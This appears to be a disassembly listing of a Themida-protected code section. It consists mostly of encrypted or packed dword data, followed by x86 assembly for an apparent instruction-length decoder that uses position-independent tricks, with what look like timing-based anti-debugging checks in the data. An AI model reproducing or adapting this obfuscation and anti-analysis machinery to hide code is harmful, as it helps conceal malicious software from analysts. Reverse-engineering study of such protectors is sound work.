		dd 0E4E67991h, 286791A9h, 1A8082C1h, 0E49DAE9Dh, 3D212555h
		dd 9B8F5DF9h, 5B2F8BA8h, 85000001h, 0AD188Bh, 53F09231h
		dd 0BC8FCEB2h, 3753F092h, 1CEDC153h, 54D25368h,	0AD49DC90h
		dd 0BCCE91A9h, 0DE5FCAC1h, 55E49063h, 4B433A4Bh, 9D97FBCFh
		dd 45384AD5h, 65182A35h, 5DC8A355h, 0E49061D0h,	949EE255h
		dd 5F61A0F7h, 3AC1F2Ch,	55E49030h, 49FB7811h, 11650A82h
		dd 0A2911E2Dh, 2155E4EFh, 0B723D75Dh, 8BA90969h, 1E9BB6B5h
		dd 4F6B14h, 80410000h, 5FE8E465h, 0D0E53740h, 54678BB4h
		dd 0F00D78CBh, 7397FB53h, 0D0CDF58h, 43C7D3F0h,	0D5FEA4Bh
		dd 4D7FD3F0h, 33512E5Eh, 57384078h, 0A52AFA40h,	7F8CD34Eh
		dd 2DB80C06h, 0D88B1427h, 1B53F00Dh, 47450437h,	0D812C64Ch
		dd 9Ah,	0E0618056h, 0CC93ABE2h,	0B8DCC0BDh, 3A491083h
		dd 6C0CD47h, 0FF49DC6Ah, 9A10238Ch, 0AF9355E4h,	0DAEC738Bh
		dd 0BEC05FA3h, 18A6B33Dh, 0CBEFDBB6h, 33CA72B3h, 0DBEC55E4h
		dd 0B6D5AAA2h, 8DBCC3FBh, 284F1010h, 2E3D2EE2h,	0F1556520h
		dd 98842B3Fh, 9C96494Dh, 576998FFh, 7BA41724h, 55E422C8h
		dd 854DC74Bh, 6398ECFDh, 0CDA2FEC2h, 0A8243C4Fh, 0FAEF03A3h
		dd 0B89CE42Eh, 0DECDFF80h, 0A3CA29AEh, 0E5166283h, 0A39E1F8Ah
		dd 205FDE53h, 0CFC6C35Ch, 0D3704845h, 9DE145F7h, 61805B99h
		dd 0F675E01Bh, 8FE42AD5h, 26B27F77h, 3F85F002h,	0F349D9D9h
		dd 0AAD95B6Ch, 5FBBD3F7h, 91A9ADD5h, 3DC1BCCEh,	0F516A0A2h
		dd 0D2FF80B8h, 7B93B7DBh, 0EFFC9A3Ah, 0C128874Bh, 90D8082h
		dd 0BBCA6C9Eh, 2E52B6C6h, 0B2DEAD1Eh, 0B143C7F7h, 99B1EC1Ah
		dd 0BDCDC8C6h, 0DCECA1A2h, 4786ED2Ah, 82F534Ah,	8183C229h
		dd 6799060Ah, 0A360434h, 0BC000000h, 41401F8Ch,	5AD83C4Ch
		dd 346767D0h, 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h
		dd 0FBB6D5AAh, 178EBCC3h, 306D98E7h, 57464718h,	9F681F27h
		dd 8900001Ah, 0E2892414h, 4C281h, 0EA830000h, 24148704h
		dd 0E689565Ch, 4C681h, 0EE810000h, 4, 5C243487h, 68243489h
		dd 6CDh, 0BE243C89h, 6CFB0C85h,	0DEF7EED1h, 60A3E681h
		dd 0F6817618h, 44F715A8h, 354BA52h, 0EAD15811h,	449BC281h
		dd 0CA811348h, 3E26E95h, 0EA81DAF7h, 67D4CB69h,	815AD631h
		dd 0B5B128EEh, 4EC8356h, 83242489h, 5F042404h, 8904EC83h
		dd 478F2434h, 243C8B08h, 81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 5624348Bh, 0C681E689h, 4, 4C681h, 34870000h,	3DE95C24h
		dd 0E3FFFAFBh, 9A77F694h, 0C66F1704h, 1984F2B8h, 0FFC50306h
		dd 4840CEE0h, 403E013h,	0FBEF3666h, 14263D0Bh, 9F8F5F1Fh
		dd 0DD936538h, 0B6F6BE05h, 0E37FCC6Ch, 0B2C4D95Eh, 0F26E4A26h
		dd 142E947h, 0FCFC0000h, 8614B58Dh, 0BF600619h,	1D24741Ch
		dd 3CE28166h, 858D6194h, 6174134h, 60D0FFF5h, 81F78B66h
		dd 0A80AB3D6h, 60C3615Eh, 0FFABF0Fh, 0F561D6BFh, 6AD98C66h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 423C357h,	14E9h, 7F887F00h, 1E65FF0Bh, 0FB751472h
		dd 7B7E1FEh, 75B8AA71h,	4C1F6C7h, 7A840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 8564C3C3h, 10E960A1h, 8F000000h, 0C03C5F7Eh,	5D30BF98h
		dd 9C053D6h, 618CAFF5h,	6800Fh,	0B3600000h, 61C18AA2h
		dd 0CB8BFB8Bh, 75AEC032h, 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h
		dd 20CD00EBh, 1013Fh, 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh
		dd 75490A75h, 1B8FAh, 9EB0000h,	0E4EB008Bh, 0B8h, 6ACF00h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 59D758C3h, 514DE381h, 7860FDCh, 0F000000h, 186h, 6660FC00h
		dd 0FEF7AB8h, 0F61FEB7h, 0F8Fh,	0AE900h, 0C1BC0000h, 32394290h
		dd 187B9AEh, 86B085C7h,	13F0619h, 135C0001h, 0BF2E1D64h
		dd 639C2940h, 7133F002h, 354B0416h, 707C786Ah, 8595FEBBh
		dd 855183F8h, 0F1603186h, 5A8D316h, 886E1F12h, 33E23076h
		dd 57FE3EBAh, 5FBD31BBh, 363660BBh, 156F31BBh, 0BCEEF2E2h
		dd 0B4DF15F7h, 2FE915FFh, 74F631BBh, 1C1AF2EAh,	0D052C4F2h
		dd 35D0D844h, 902631BBh, 4610863Ah, 18DD9E74h, 0EAFEFB32h
		dd 35F5A852h, 637B5BBBh, 35BD3253h, 0F68011BBh,	111BB8E5h
		dd 11F3B0BFh, 35DB2DBFh, 0F6BB77BBh, 59A04CA7h,	1DCA2B60h
		dd 96045771h, 1C63B229h, 356925BBh, 3598B5B4h, 0B4D431BBh
		dd 35ED31B9h, 82F9FF30h, 362FD848h, 35D731BBh, 35DDD9E8h
		dd 6E4F31BBh, 693E6A78h, 715A359Fh, 35F8359Fh, 66B531BBh
		dd 0BF287878h, 7B38BC6Eh, 66D8283Ch, 0B9A9B0DDh, 8A276EDDh
		dd 2D24A686h, 0F45851EBh, 0BE90A1DAh, 5FEBC71h,	55BB283Ch
		dd 0DB5F5743h, 650EDC7Fh, 0BC45BADDh, 35B115BFh, 35EED9EAh
		dd 6CD631BBh, 79F26878h, 713C359Fh, 35C2359Fh, 642E31BBh
		dd 1A12C678h, 0EEB29A74h, 0E46C5B5Ah, 18E0848h,	5A6A444h
		dd 350337AFh, 0BE890CBEh, 606F5B7Bh, 35B73253h,	0F68611BBh
		dd 1181B8E6h, 11B2B0BFh, 357B24BFh, 0F6E874BBh,	0BEB84E84h
		dd 0C4D2B26Dh, 35B125ABh, 885838CEh, 33F93F9Eh,	65EF45BBh
		dd 8DBBBAE8h, 35BD35C1h, 2DC7B432h, 0A8E237AFh,	33A196E9h
		dd 6D80E244h, 3BC88C38h, 41F637AFh, 8D2861ACh, 35BD35C1h
		dd 2DC7B432h, 0A8E237AFh, 33A195FAh, 6D80E244h,	0BB1D8BEDh
		dd 53AF3D57h, 0BEA12405h, 35B5D97Bh, 61A431BBh,	0BA5156AFh
		dd 0B4D1AA90h, 6BDB1B7Ah, 0B2D5AC36h, 0FB7737A2h, 68F95FA4h
		dd 0B059B436h, 0B5D137A2h, 356F31AAh, 35B73D52h, 570A68BBh
		dd 6E2BBE18h, 7D70736Ch, 53ABCE8Fh, 0F5B6E630h,	3550B5B4h
		dd 398731BBh, 5FB731BBh, 0C394736Dh, 0E292B5F3h, 0DCF8080Dh
		dd 357B31B6h, 0AE60CDE3h, 169A54D6h, 4A3B3260h,	0B84B68DCh
		dd 2196CE26h, 63ED5BBDh, 35F63253h, 0F62511BBh,	11C9B8E5h
		dd 119AB0BFh, 356F2ABFh, 0F6E177BBh, 0C062ED53h, 3D35CA64h
		dd 0BE9067DBh, 3F92696Ah, 99BD31BBh, 1A396510h,	0A93A1A0Ah
		dd 360F5036h, 5FDB31BBh, 360564BBh, 15F631BBh, 0BC26F2E6h
		dd 0B4B915D7h, 21DA15FFh, 706F31BBh, 0B428F2EEh, 459E5B64h
		dd 0C90ECEAFh, 0B2B6AC36h, 0C3FA37A2h, 7E1D746Dh, 0B03AB436h
		dd 350537A2h, 35B4D9ECh, 6AFB31BBh, 49646E78h, 7177359Fh
		dd 356F359Fh, 62FA31BBh, 0DD8EFA78h, 356F31BCh,	4DAA3CDDh
		dd 0B5FD5B1Ch, 6AB43975h, 0E509D90Ah, 0DD2831D1h, 35BD31B8h
		dd 6E1D6A9Bh, 314B6D32h, 3193753Ah, 35DB31ACh, 0B02E62F8h
		dd 665119BFh, 0E9DA6604h, 0F5B66BA4h, 358CB5B4h, 0EBEF31BBh
		dd 0CA2ABC84h, 5FDD25F6h, 360567BBh, 15F631BBh,	0BC25F2E5h
		dd 0B4B915CFh, 23DA15FFh, 736F31BBh, 0CC6FF2EDh, 35DA8929h
		dd 3C0531BBh, 0CEF631BBh, 0B021E84h, 3336D812h,	0E2018EDDh
		dd 0B48CCEE4h, 0AA8BFF6Ah, 35DDD884h, 968931BBh, 8D5812D2h
		dd 0B23EAC36h, 35D737A2h, 35DDD9EAh, 6C4F31BBh,	793E6878h
		dd 715A359Fh, 35F8359Fh, 64B731BBh, 0B8320F78h,	2C38D53Eh
		dd 0EB5F57BDh, 0E590F05Eh, 0DDE631D1h, 35DB31B8h, 6C2E689Bh
		dd 31D27D32h, 315F753Ah, 35BD31AFh, 231D60FAh, 0F564FA30h
		dd 35D3B5B4h, 0A85631BBh, 33F97C44h, 0DDA031D1h, 357B31B8h
		dd 6B7E6F9Bh, 31FA4532h, 314B753Ah, 35B731A2h, 0B1867FDh
		dd 0FB5817F8h, 35733E3Dh, 3A7B31BBh, 35BD343Ch,	0F36788BBh
		dd 36D75B28h, 5FB731BBh, 363364BBh, 15ED31BBh, 0BCABF2E6h
		dd 0B47F15D7h, 20B915FFh, 70DE31BBh, 3DFBF2EEh,	0EB36C531h
		dd 5D1785DBh, 5FAED244h, 361E62BBh, 157B31BBh, 0BCE6F2E0h
		dd 0B4DA15E7h, 296B15FFh, 76B731BBh, 0C93EF2E8h, 1FAF6263h
		dd 8B08D267h, 38BC2F76h, 0B2938C36h, 0B85337A2h, 3376BAC7h
		dd 7EEB4C03h, 805E0231h, 1EEB25A5h, 0AC36F074h,	37A2B2B6h
		dd 746DC3FAh, 0B4367E1Dh, 37A2B03Ah, 0D9EC3505h, 31BB35B4h
		dd 0F305E983h, 8AC08BA4h, 0C38BFCD7h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 8DC35141h, 0F356EA1Eh, 0B70FA302h
		dd 0C08BFCCBh, 83D7B70Fh, 1410F1BDh, 9750006h, 0E25BD83h
		dd 74000614h, 8B535019h, 47AB8C0h, 85890000h, 61424F1h
		dd 0A7B99D8Dh, 0D3FF0616h, 0BD83585Bh, 6140E25h, 50177400h
		dd 47AB853h, 85890000h,	61424F1h, 0A45A9D8Dh, 0D3FF0616h
		dd 0C980585Bh, 8BFE8B2Ah, 6E8C0h, 83620000h, 328CFA42h
		dd 45D38158h, 810EC1D5h, 6FF1C0h, 0BE00h, 80570000h, 8B5A5CC2h
		dd 0B652300Ch, 0F1815BE5h, 4E1ADBB0h, 81AACB80h, 72C58CE9h
		dd 7B45BF7Dh, 0E9817F6Ch, 51DB3D60h, 11E9h, 14ABEC00h
		dd 15C3848Ch, 6806803Bh, 0B46D18A0h, 6051A29Ch,	10E9h
		dd 0F1293900h, 1458D0E6h, 0F4E4E2DBh, 0B901716Ch, 48F61E0h
		dd 0BE830h, 5F650000h, 2286CCDDh, 0FF28EC2Bh, 18C0FB8h
		dd 0FC000000h, 2EE835Bh, 5E94E4Eh, 77000000h, 975E2BE4h
		dd 9108FE81h, 850FFFFFh, 1Ch, 3E28166h,	51E9D4h, 0AE3C0000h
		dd 8AF5A263h, 78C52210h, 2DE850BFh, 902D97ABh, 0AE860h
		dd 2EBD0000h, 70AA7903h, 0FA40F039h, 14E95FF9h,	0FD000000h
		dd 0E1738149h, 6A4D5212h, 4E74FF94h, 0DB9A7C20h, 61F737F8h
		dd 0FFFF2EE9h, 0A8F051FFh, 0A2C50CD5h, 39F9C137h, 8D7143FFh
		dd 198DCB8Dh, 5858906h,	89061400h, 142B698Dh, 45852B06h
		dd 0C706142Eh, 14105585h, 72A806h, 0DE900h, 80BF0000h
		dd 9CDBBEDAh, 4062DC1Bh, 57AEBA7Ch, 7547CE81h, 0C75A195Bh
		dd 14013D85h, 6, 0E1958B00h, 0FF06141Bh, 140E15B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 4C63807Eh, 8BE98482h, 142C09B5h, 0D995FF06h,	6A06140Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 8BDC353h,	3DCE3AFAh, 250A7167h, 95FF006Ah
		dd 6142971h, 5FEBC08Bh,	359C9D1Eh, 5382F52Ah, 967DDCCCh
		dd 82C94D4Bh, 0EE4D2EDFh, 152DDA59h, 0F68451C5h, 5A2D11E7h
		dd 2BA5FB6Ah, 0E6F12939h, 0DB1458D0h, 6CF4E4E2h, 0E0B90171h
		dd 0DD07536Bh, 5C375724h, 5EE2C54Ch, 0CBD6C508h, 55E1EC52h
		dd 97E517CAh, 2DFAEDB7h, 9C7F83B5h, 0D75D639Fh,	5D41F204h
		dd 0E91D343Dh, 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h
		dd 140C2DB5h, 0FE858D06h, 0FF061778h, 458589D0h, 8B06141Ch
		dd 0CEFC1FEh, 6000068h,	6A006A20h, 0D685702h, 0FF000100h
		dd 141C4595h, 32E906h, 85C60000h, 6140849h, 30DF6856h
		dd 0B5FFA9C5h, 6142C65h, 78FE858Dh, 0D0FF0617h,	138D8589h
		dd 858D0614h, 6142529h,	6A406A50h, 95FF5605h, 614138Dh
		dd 0C361h, 2 dup(0)
		dd 8B520000h, 428B60D4h, 0B2858908h, 8B06198Eh,	85890C42h
		dd 6198EAAh, 8910428Bh,	198EAE85h, 0E8B58D06h, 8D06198Eh
		dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 8EB2B58Bh, 858B0619h
		dd 6198EAAh, 8EAEBD83h,	0F000619h, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 6198EB2h, 8F39B58Dh
		dd 858D0619h, 5B8EA1h, 5A61D0FFh, 8EB2858Bh, 4C20619h
		dd 0B2858B00h, 8B06198Eh, 0B2858900h, 0CF06198Eh, 0
		dd 0FB58960h, 8906198Fh, 198F0B85h, 55858D06h, 8B06141Dh
		dd 85894440h, 6198F48h,	8F7EB58Dh, 858D0619h, 5B8EA1h
		dd 8B61D0FFh, 198F0F85h, 9D8BC306h, 6198F0Bh, 3C43B70Fh
		dd 5B8BD803h, 0B9D0378h, 8B06198Fh, 0B5032473h,	6198F0Bh
		dd 207B8B56h, 31C738Bh,	198F0BBDh, 0BB50306h, 0FC06198Fh
		dd 41FFC983h, 8F0F9D8Bh, 178B0619h, 8F0B9503h, 0C7830619h
		dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h,	43FFFFFFh
		dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
		dd 86048B0Fh, 8F0B8503h, 85890619h, 6198F0Fh, 0CE8BF08Bh
		dd 0BD81C18Bh, 6198F48h, 0C0300000h, 0D850Fh, 0E8C10000h
		dd 0FFC2514h, 8E90000h,	0C1000000h, 0F82512E8h,	8B00003Fh
		dd 198F48BDh, 70C8306h,	7148B06h, 8124C28Bh, 0C18B813Ch
		dd 57840Fh, 0BD810000h,	6198F48h, 0C0300000h, 0D850Fh
		dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
		dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
		dd 81000000h, 198F48BDh, 30000006h, 0E840FC0h, 25000000h
		dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 6198EB6h,	305D8589h
		dd 858D0614h, 6198F4Ch,	12558589h, 858D0614h, 6198F13h
		dd 0AB18589h, 8D8D0614h, 6199199h, 12E953h, 0CF590000h
		dd 60E8ADB5h, 0A56E9FF1h, 0BD7DED20h, 3C0D9F26h, 698D895Eh
		dd 8006142Bh, 85C753C2h, 6141055h, 6848h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 0A9C35545h, 7E0D017Dh
		dd 0BCBA3E4Dh, 0C76D2528h, 14013D85h, 6, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 0A8E42640h, 0FF617ED9h, 140ECDB5h, 11890F06h, 0E9000000h
		dd 0Ch,	6AD6022Ch, 0B7DBA78Fh, 0B96A50D1h, 0BD995FFh, 6A0614h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 68FC15C3h, 958BAF46h, 6142565h, 31419D0Bh, 6A0614h
		dd 297195FFh, 0C08B0614h, 9491DEBh, 0CD6A9CFCh,	0FEC03223h
		dd 0DF188258h, 85ED38A4h, 2371BE50h, 33B0E36h, 0E9BE7DF4h
		dd 13Ch, 4Fh dup(0)
		dd 1569BD83h, 0F010614h, 6B484h, 9E900h, 0ECAB0000h, 741D31A8h
		dd 0E92DBE54h, 0Ch, 402F90A4h, 0A5E89883h, 0C090EF3Ah
		dd 84985C6h, 0E9430614h, 13h, 1A9559D3h, 5A756D6Bh, 1A466DE2h
		dd 0A6BCC43Eh, 68630E6Eh, 988A68E9h, 0DE9h, 8279EB00h
		dd 5898D3AFh, 0CA6533CCh, 3481AA07h, 2FB81C24h,	53006A74h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0F87BF85h, 180h, 0FFF5F800h,	142C65B5h, 0CF816006h
		dd 64BB4EB3h, 0F61F48Ah, 188Fh,	12840F00h, 0E9000000h
		dd 0Dh,	0E9A2174h, 103F1697h, 0E6F87481h, 0FE858DB9h, 0FC061778h
		dd 5E9D0FFh, 0F3000000h, 690C39D4h, 1E7D8589h, 6A0614h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0F07685C3h, 607EB947h, 0BE9h, 45A02B00h, 8818D50Ch
		dd 0C15E4D9Eh, 0CCD18160h, 0E871DB04h, 0Ah, 7ABB0804h
		dd 5149AD3Ch, 615B27C0h, 4985C661h, 50061408h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 99C35141h, 13D5A992h
		dd 0F97E9C50h, 1BBE6660h, 61CFB5B4h, 4E8h, 0ADAD5600h
		dd 158B0FA8h, 0E9000000h, 10h, 1FBFCD4Eh, 5BB1BF1Fh, 0A7C4B7F8h
		dd 6440BA36h, 60525050h, 10E9h,	1EF75300h, 0C4B9ADECh
		dd 11166131h, 219D75EEh, 615853E1h, 870F310Fh, 16h, 11E9h
		dd 3344F500h, 0FEB8DDh,	0A6F74B90h, 0FB7DCB27h,	585A7D26h
		dd 424448Bh, 52505250h,	310F6160h, 0CE9h, 0CF022700h, 0C10C1164h
		dd 241CB7C0h, 0F585A34h, 0CE8B6031h, 310F5250h,	5A61585Ah
		dd 0F008B58h, 1884h, 13E900h, 0B9E20000h, 0C0C9CB43h, 15E4896Fh
		dd 26AF6FB6h, 0F8ABE0F9h, 244489E7h, 7E86004h, 5D000000h
		dd 0F0BBCE90h, 0C9BB41D2h, 5E0281D9h, 0DAE7C8B9h, 6A58612Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 21D0C350h, 86A0161Eh, 0CB54EFBEh,	2C65B5FFh
		dd 890F0614h, 0Eh, 9E9h, 8895D700h, 6FF23215h, 858DBB2Bh
		dd 61778FEh, 6AD0FFF5h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 530FC351h, 11E9h, 0CABEBB00h
		dd 4CF2282h, 0B9E70E2Ah, 0D8D82BDEh, 8E9223Fh, 24000000h
		dd 0CCB2C91Dh, 890F1B0Dh, 14233D85h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0FE97E91h
		dd 987h, 8B666000h, 0C4BB66DFh,	0AE96164h, 16000000h, 84BA326Dh
		dd 0BFA2BDE1h, 4E8DAh, 0A82F0000h, 0EE9F08Fh, 0C2000000h
		dd 0F0B42146h, 638E50F5h, 39DC68C2h, 840F50C4h,	19h, 14E9h
		dd 631D0600h, 0E663925Bh, 51707262h, 300FD409h,	0E943B70Dh
		dd 24448B5Dh, 60525004h, 0D68B5953h, 0E9310F61h, 0Bh, 2190F607h
		dd 4F050D5Eh, 5AE125F3h, 60008B58h, 0BE8h, 0B997D700h
		dd 0BC5C72Eh, 0CACB6EADh, 66596160h, 61B4CDB8h,	4244489h
		dd 52505250h, 310F6160h, 14E9h,	8F5A8000h, 91F05017h, 0F2FF2212h
		dd 0C913DCFAh, 2214C18h, 0F585AF9h, 52506031h, 585A310Fh
		dd 8C0Fh, 5A610000h, 0F605858h,	8D0FF3B7h, 4, 0D128BE66h
		dd 65B5FF61h, 6006142Ch, 4AB5C081h, 8B0F55CEh, 2, 0E9616160h
		dd 12h,	0ACFEACD2h, 6D16D5AAh, 0E184BA32h, 0DABFA2BDh
		dd 858DC453h, 61778FEh,	14E960h, 0D3BC0000h, 56A67417h
		dd 85F28067h, 4066AF2Fh, 6D072350h, 61F8DF59h, 8C0FD0FFh
		dd 17h,	11820Fh, 0CE90000h, 0F8000000h,	0DF7D07B3h, 0A544E773h
		dd 600D321Eh, 59FC8A52h, 12880Fh, 0CE80000h, 3A000000h
		dd 0DA58E6E9h, 9764C566h, 5E21041Ch, 89858961h,	60061430h
		dd 8746B966h, 615FFC50h, 84985C6h, 60500614h, 3890Fh, 0BF0F0000h
		dd 6E8D8h, 0DDBC0000h, 81F875DBh, 709FB866h, 268615Eh
		dd 602DAEB3h, 0B8BE5250h, 0F45A35Dh, 99A2B831h,	585A0BC4h
		dd 8161D88Bh, 29542404h, 0FFF869EEh, 140C2DB5h,	81666006h
		dd 0E9E295EAh, 13h, 0B871E561h,	38B64462h, 2A0110BFh, 0FDC48519h
		dd 6105A880h, 3B4E858Dh, 0EE90614h, 18000000h, 4C511DFCh
		dd 6E74DF28h, 0E5E77AACh, 60D0FF67h, 870Fh, 61F90000h
		dd 0AFD8589h, 8B0F0614h, 11h, 0CE9h, 0D2AF9B00h, 0F986F5F6h
		dd 983A5480h, 1CFE919h,	880F0000h, 0Ah,	5E9h, 0EEFFAE00h
		dd 509579FBh, 60525052h, 50310F61h, 5A310F52h, 0F585A58h
		dd 0C38B6031h, 810Fh, 5A610000h, 52505058h, 11E9h, 661B1E00h
		dd 5D31E8E4h, 54AEE76Dh, 0ABEEEFB8h, 310F781Eh,	68C0Fh
		dd 850F0000h, 0
aZxxj		db 'ZX•j',0
		db 56h,	0E8h, 3
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 7A12C356h, 89E5690Dh, 0A0136572h, 0CE9h, 9CF7D00h, 0BEED93CAh
		dd 59F5EB04h, 0F9EC8B17h, 28B0F60h, 0B1000000h,	61F78BCAh
		dd 0FFCC483h, 183h, 6060F800h, 198D0Fh,	14E90000h, 40000000h
		dd 353EED13h, 0BF4BD804h, 60ACDC0Dh, 4B34C355h,	662FE4FBh
		dd 61F694BFh, 6BF6660h,	13E904h, 8C0B0000h, 0ABD1406Dh
		dd 6AA2567Bh, 26198D93h, 0E1FFA733h, 0E86166h, 5A000000h
		dd 98DFEA81h, 45C70619h, 0FCh, 69BA8300h, 1061415h, 98840Fh
		dd 6A520000h, 0FF0F6A00h, 141E7D92h, 82895A06h,	61991C0h
		dd 91C49A8Dh, 0C7520619h, 12803h, 0FF505300h, 14233D92h
		dd 8D525A06h, 1991C49Ah, 0B2FF5306h, 61991C0h, 0AFD92FFh
		dd 0B5A0614h, 8D5074C0h, 1991C49Ah, 247B8D06h, 0F981C933h
		dd 104h, 8141D474h, 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h
		dd 61431A5h, 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 31A5828Dh
		dd 0FF500614h, 14308992h, 0C00B5A06h, 45C7A075h, 1FCh
		dd 0C707EB00h, 0FC45h, 8B610000h, 0C2C9FC45h, 6AF90008h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 3587C356h, 86E91A23h, 0E9D28BF9h,	1C8h, 8	dup(418888h)
		dd 4 dup(0)
		dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h
		dd 0
		dd 600h, 4444h,	41h, 11111111h,	44444444h, 0C9880299h
		dd 100203h, 118888h, 88888888h,	11111111h, 1644h, 2 dup(88000000h)
		dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2	dup(0)
aIiiiiiiiaiiiii	db 'ˆˆˆˆˆˆˆˆ€ˆˆˆˆˆˆˆˆˆˆˆˆˆ',0
aIssi		db 'ˆ™™ˆ',8,0
		db 2 dup(0), 88h
aDdddddddiiiiii	db 'DDDDDDDDˆˆˆˆˆˆˆˆ',0
aAs		db '€™',0
		dd 88998000h, 88888888h, 88888900h, 89998888h, 0
		dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h
		dd 8888888h, 3E362E26h,	67666564h, 0F3F2F0h, 0
		dd 0FFFFFFFFh, 4016E6h,	4016FAh, 2 dup(0)
		dd 3, 14h dup(0)
		dd 660008C2h, 0FE807574h, 12h dup(0)
		dd 353E9h, 0E85500h, 5D000000h,	9B97ED81h, 0C7600619h
		dd 199AE485h, 6, 3E816600h, 850FA166h, 0Fh, 9AE885C7h
		dd 60619h, 24E90000h, 8D000000h, 199AEC85h, 858D5006h
		dd 6199B3Ch, 6A5650h, 1DE8h, 10C48300h,	0FF25h,	0E8858900h
		dd 6106199Ah, 9AE8B503h, 858B0619h, 6199AE4h
		db 5Dh,	0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5D77BF
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5D77CB
; ---------------------------------------------------------------------------


loc_5D77BF:				; CODE XREF: Themida_:005D77A8j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5D77CB:				; CODE XREF: Themida_:005D77BAj
		push	ebx
		push	esi
		push	edi


loc_5D77CE:				; CODE XREF: Themida_:005D7823j
					; Themida_:005D783Fj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5D77E1:				; CODE XREF: Themida_:005D7808j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6199C4Eh
		lea	ebp, [ebp+6199AC4h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5D780E
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5D77E1


loc_5D780E:				; CODE XREF: Themida_:005D77FDj
		cmp	cl, 0Bh
		jz	loc_5D786B
		cmp	al, 66h
		jnz	loc_5D784C
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5D77CE
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5D7844
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5D77CE
; ---------------------------------------------------------------------------


loc_5D7844:				; CODE XREF: Themida_:005D7831j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5D784C:				; CODE XREF: Themida_:005D7819j
		cmp	al, 67h
		jnz	loc_5D77CE
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5D77CE
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5D77CE
; ---------------------------------------------------------------------------


loc_5D786B:				; CODE XREF: Themida_:005D7811j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5D7897
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5D789C
; ---------------------------------------------------------------------------


loc_5D7897:				; CODE XREF: Themida_:005D7876j
		movzx	edi, al
		shr	edi, 1


loc_5D789C:				; CODE XREF: Themida_:005D7892j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6199D06h
		lea	ebp, [ebp+61999C4h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5D7A1E
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
